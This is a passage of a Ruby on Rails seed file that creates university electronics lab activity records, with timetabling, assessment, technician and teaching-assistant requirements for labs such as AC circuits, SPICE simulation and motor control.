RL, RCL)\n Must be confident calculating Q factor and describing reasons for experimental deviations from theory\",\n job_desc:\"Help students construct basic first order passive circuits (RC/RL/RLC) and use a signal generator to input voltages across them.\n Assist students in using oscilloscopes, signal generators and multimeters to make measurements of AC signals\n Remind students of non-idealities of components and help them explain differences between experiment and theory\n Ensure students consider experimental errors and quantify and analyse potential experimental error sources.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a263.id).first_or_create!(assess_weight: 14.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a263.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a263.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a264 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE218\").first.id, code: \"100\").first_or_create!(name: \"AC Circuits\",\n name_abrv: \"ACC\", archived: false, in_drive: false, user_id: 2)\n at264 = ActivityTimetable.where(activity_id: a264.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 20, setup_time: 20, takedown_time: 25, notes: \"\",\n capacity: 100, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a264.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"AC Circuits\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a264.id).first_or_create!(criteria: \"Must be confident with use of oscilloscope, digital multimeter and signal generator\n Must understand simple passive filter networks (RC, RL, RCL)\n Must be confident calculating Q factor and describing reasons for experimental deviations from theory\",\n job_desc:\"Help students construct basic first order passive circuits (RC/RL/RLC) and use a signal generator to input voltages across them.\n Assist students in using oscilloscopes, signal generators and multimeters to make measurements of AC signals\n Remind students of non-idealities of components and help them explain differences between experiment and theory\n Ensure students consider experimental errors and quantify and analyse potential experimental error sources.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a264.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a264.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a264.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a265 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE123\").first.id, code: \"100\").first_or_create!(name: \"AC Circuits\",\n name_abrv: \"ACC\", archived: false, in_drive: false, user_id: 2)\n at265 = ActivityTimetable.where(activity_id: a265.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 20, setup_time: 20, takedown_time: 25, notes: \"\",\n capacity: 100, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a265.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"AC Circuits\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a265.id).first_or_create!(criteria: \"Must be confident with use of oscilloscope, digital multimeter and signal generator\n Must understand simple passive filter networks (RC, RL, RCL)\n Must be confident calculating Q factor and describing reasons for experimental deviations from theory\",\n job_desc:\"Help students construct basic first order passive circuits (RC/RL/RLC) and use a signal generator to input voltages across them.\n Assist students in using oscilloscopes, signal generators and multimeters to make measurements of AC signals\n Remind students of non-idealities of components and help them explain differences between experiment and theory\n Ensure students consider experimental errors and quantify and analyse potential experimental error sources.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a265.id).first_or_create!(assess_weight: 14.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a265.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n\n\n a266 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AER123\").first.id, code: \"101\").first_or_create!(name: \"AC Circuits Exam\",\n name_abrv: \"ACEXAM\", archived: true, in_drive: false, user_id: 4)\n at266 = ActivityTimetable.where(activity_id: a266.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a266.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"N/A\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a266.id).first_or_create!(criteria: \"No GTAs required\",\n job_desc:\"No GTAs required\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a266.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a266.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a266.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a267 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE123\").first.id, code: \"10\").first_or_create!(name: \"AC Circuits Exam\",\n name_abrv: \"ACEXAM\", archived: true, in_drive: false, user_id: 3)\n at267 = ActivityTimetable.where(activity_id: a267.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a267.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"N/A\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a267.id).first_or_create!(criteria: \"No GTAs required\",\n job_desc:\"No GTAs required\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a267.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a267.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n\n\n a268 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE225\").first.id, code: \"102\").first_or_create!(name: \"Amplifiers and Probes\",\n name_abrv: \"AMP1\", archived: false, in_drive: false, user_id: 1)\n at268 = ActivityTimetable.where(activity_id: a268.id).first_or_create!(duration: 210, kit_prep_time: 700, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a268.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"Amplifiers\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a268.id).first_or_create!(criteria: \"Must be confident in independently using oscilloscopes and signal generators\n Must be confident with analogue electronic circuits for small AC signals using amplifiers (op-amps and BJTs)\n Must be confident measuring rise times and phase shifts, and exploring the effect of feedback on amplifier circuits\n Must be confident soldering in difficult conditions\",\n job_desc:\"Help students to make advanced oscilloscope measurements, using averaging and good technique to measure small ac voltage signals\n Assist students in calculating the effects of cables and probes on measurements that they make\n Ensure students calibrate oscilloscope probes before taking measurements, and explain how the calibration process works\n Assist students in processing measured values, with an appreciataion of the experimental errrors involved\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 14.0)\n ActivityAssess.where(activity_id: a268.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a268.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a268.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a269 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"PHY392\").first.id, code: \"103\").first_or_create!(name: \"Arduino\",\n name_abrv: \"ARDUINO\", archived: false, in_drive: false, user_id: 1)\n at269 = ActivityTimetable.where(activity_id: a269.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 12, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a269.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a269.id).first_or_create!(criteria: \"No GTAs required\",\n job_desc:\"No GTAs required\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a269.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a269.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a269.id, programme_id: $prog_phy.id).first_or_create!\n\n\n a270 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"105\").first_or_create!(name: \"Circuit Simulation using SPICE\",\n name_abrv: \"CSS\", archived: false, in_drive: false, user_id: 2)\n at270 = ActivityTimetable.where(activity_id: a270.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 4, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"210 minutes x 2 sessions\",\n capacity: 100, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a270.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"SPICE\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a270.id).first_or_create!(criteria: \"Must be familiar with LTSpice simulation package\n Must be able to troubleshoot problems with students' simulations\n Must have knowledge of basic electronic circuits\",\n job_desc:\"Help students create simulations of analogue circuits using LTSpice software\n Debug issues with student code to ensure simulations run correctly\n Help students interpret measurements made in simulation and advice on how to use DC and AC simulation analysis for future experiments\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a270.id).first_or_create!(assess_weight: 10.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a270.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a270.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a271 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE229\").first.id, code: \"106\").first_or_create!(name: \"Control of Motors\",\n name_abrv: \"SERVO\", archived: false, in_drive: false, user_id: 2)\n at271 = ActivityTimetable.where(activity_id: a271.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 11, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 10, setup_time: 10, takedown_time: 10, notes: \"As close as possible to other machines labs (220, 224, 228) - each student should do each on on a consecutive week, rather than getting all students through one lab, then the next lab etc.\",\n capacity: 14, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a271.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a271.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a271.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a271.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a271.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a272 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE202\").first.id, code: \"106\").first_or_create!(name: \"Control of Motors\",\n name_abrv: \"SERVO\", archived: false, in_drive: false, user_id: 3)\n at272 = ActivityTimetable.where(activity_id: a272.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 10, setup_time: 10, takedown_time: 10, notes: \"\",\n capacity: 14, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a272.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a272.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a272.id).first_or_create!(assess_weight: nil, notes: \"Marked lab sheets\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 1)\n ActivityTech.where(activity_id: a272.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a272.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a273 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AER107\").first.id, code: \"107\").first_or_create!(name: \"Data Acquisition\",\n name_abrv: \"DAQ1\", archived: false, in_drive: false, user_id: 1)\n at273 = ActivityTimetable.where(activity_id: a273.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a273.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"Data Acqusition\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a273.id).first_or_create!(criteria: \"Must have experience in using LabView\n Must be able to troubleshoot and debug problems with students' LabVIEW code\n Must have experience constructing sensor circuits on a breadboard\",\n job_desc:\"Assist students with a series of exercises developing their skills in writing LabVIEW code\n Debug and troubleshoot student code issues\n Help students understand the construction of LabVIEW programmes following good data acquisition practice\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a273.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a273.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a273.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a274 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"107\").first_or_create!(name: \"Data Acquisition\",\n name_abrv: \"DAQ1\", archived: true, in_drive: false, user_id: 3)\n at274 = ActivityTimetable.where(activity_id: a274.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a274.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"Data Acqusition\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a274.id).first_or_create!(criteria: \"Must have experience in using LabView\n Must be able to troubleshoot and debug problems with students' LabVIEW code\n Must have experience constructing sensor circuits on a breadboard\",\n job_desc:\"Assist students with a series of exercises developing their skills in writing LabVIEW code\n Debug and troubleshoot student code issues\n Help students understand the construction of LabVIEW programmes following good data acquisition practice\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a274.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a274.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a274.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a275 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AMR131\").first.id, code: \"108\").first_or_create!(name: \"DC Circuits\",\n name_abrv: \"DCC\", archived: false, in_drive: false, user_id: 4)\n at275 = ActivityTimetable.where(activity_id: a275.id).first_or_create!(duration: 180, kit_prep_time: 1400, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 20, notes: \"\",\n capacity: 140, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a275.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a275.id).first_or_create!(criteria: \"Must be experienced building circuits on breadboards\n Must be able to use power supplies, multimeters and oscilloscopes to make measurements on circuits\n Must be able to apply Ohms Law\n Ideally familiar with DC circuit analysis e.g. node and loop analysis, and application of Kirchoff's laws\",\n job_desc:\"Help students to construct passive networks of resistors on a breadboard\n Students should bring circuit analysis with them of current/voltage (from node/loop analysis etc.) - help them check their theoretical calculations against experimental measurements\n Help students use oscilloscopes, multimeters and power supplies to measure basic DC levels.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a275.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a275.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a275.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a276 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE119\").first.id, code: \"109\").first_or_create!(name: \"Digital Logic Circuits\",\n name_abrv: \"DLC\", archived: false, in_drive: false, user_id: 1)\n at276 = ActivityTimetable.where(activity_id: a276.id).first_or_create!(duration: 210, kit_prep_time: 120, min_week_num: 6, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"210 minutes x 2 sessions\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a276.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"Digital\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a276.id).first_or_create!(criteria: \"Must be experienced and familiar with Xilinx ISE environment\n Must be experienced in Verilog code and able to debug student code in-lab\n Must have experience with FPGA hardware\",\n job_desc:\"Assist students using Xilinx software and hardware\n Help students design and implement a 2 bit adder in software using Verilog code\n Troubleshoot problems in downloading firmware to an FPGA board and simulating the performance of the hardware.\n Guide students to attempt an advanced task of creating a 4 bit adder using multiplexers.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a276.id).first_or_create!(assess_weight: 5.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a276.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a276.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a277 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS133\").first.id, code: \"unknowncode8\").first_or_create!(name: \"EDanger\",\n name_abrv: \"eDGR\", archived: false, in_drive: false, user_id: 3)\n at277 = ActivityTimetable.where(activity_id: a277.id).first_or_create!(duration: 120, kit_prep_time: 60, min_week_num: 1, max_week_num: 2, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 90, setup_time: 90, takedown_time: 60, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a277.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"eDanger\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a277.id).first_or_create!(criteria: \"Must have an understanding of risk assessment to be able to check students' written work in the lab. Must be able to check student experimental setups and confidently intervene in student experiments if required.\",\n job_desc:\"Review risk assessments performed by the students prior to the lab and check that sensible work has been produced.\n Oversee a hazardous experiment being performed and ensure student safety by proactively intervening where necessary.\n Discuss the experiment with students to ensure they have understood the importance of risk assessment and of frequently reviewing and updating the risk assessments.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a277.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_p2p.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a277.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n\n\n a278 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"112\").first_or_create!(name: \"Fault Finding\",\n name_abrv: \"FFIND\", archived: false, in_drive: false, user_id: 1)\n at278 = ActivityTimetable.where(activity_id: a278.id).first_or_create!(duration: 210, kit_prep_time: 360, min_week_num: 1, max_week_num: 4, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 30, notes: \"This must come before ICP (ideally immediately before)\",\n capacity: 24, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a278.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"Fault Finding\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a278.id).first_or_create!(criteria: \"Must be capable of independently using an oscilloscope, multimeter and signal generator\n Must be familar with analogue electronics and constructing circuits on a PCB\n Must be skilled in soldering and testing circuit designs\n Must be confident troubleshooting analogue circuits constructed by students\",\n job_desc:\"Help students find faults on a pre-populated PCB\n Remind students how to calculate the resonant frequency of RLC circuits and how to calculate bandwidth and Q factor\n Assist students with AC and DC circuit analysis using an oscilloscope and multimeter\n Demonstrate desoldering with attention to detail\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a278.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a278.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a278.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a279 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"113\").first_or_create!(name: \"Frequency Dependent Measurements\",\n name_abrv: \"WS3\", archived: false, in_drive: false, user_id: 4)\n at279 = ActivityTimetable.where(activity_id: a279.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 3, max_week_num: 5, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 20, notes: \"Must be before Passive Networks\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a279.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"Black Box\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a279.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must understand simple passive filter networks (RC, RL)\n Must be confident in graph plotting and data analysis in-lab\",\n job_desc:\"Assist students constructing series circuits using boxes containing unknown components.\n Help students use signal generators and oscilloscopes to make voltage measurements across a range of frequencies and plot the data by hand.\n Assist students in interpreting their measurements to identify the components inside the boxes.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a279.id).first_or_create!(assess_weight: 10.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_short.id, num_assess: 2)\n ActivityTech.where(activity_id: a279.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a279.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a280 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE102\").first.id, code: \"113\").first_or_create!(name: \"Frequency Dependent Measurements\",\n name_abrv: \"WS3\", archived: false, in_drive: false, user_id: 4)\n at280 = ActivityTimetable.where(activity_id: a280.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 9, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 20, setup_time: 15, takedown_time: 20, notes: \"Must be before Passive Networks\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a280.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"Black Box\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a280.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must understand simple passive filter networks (RC, RL)\n Must be confident in graph plotting and data analysis in-lab\",\n job_desc:\"Assist students constructing series circuits using boxes containing unknown components.\n Help students use signal generators and oscilloscopes to make voltage measurements across a range of frequencies and plot the data by hand.\n Assist students in interpreting their measurements to identify the components inside the boxes.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n 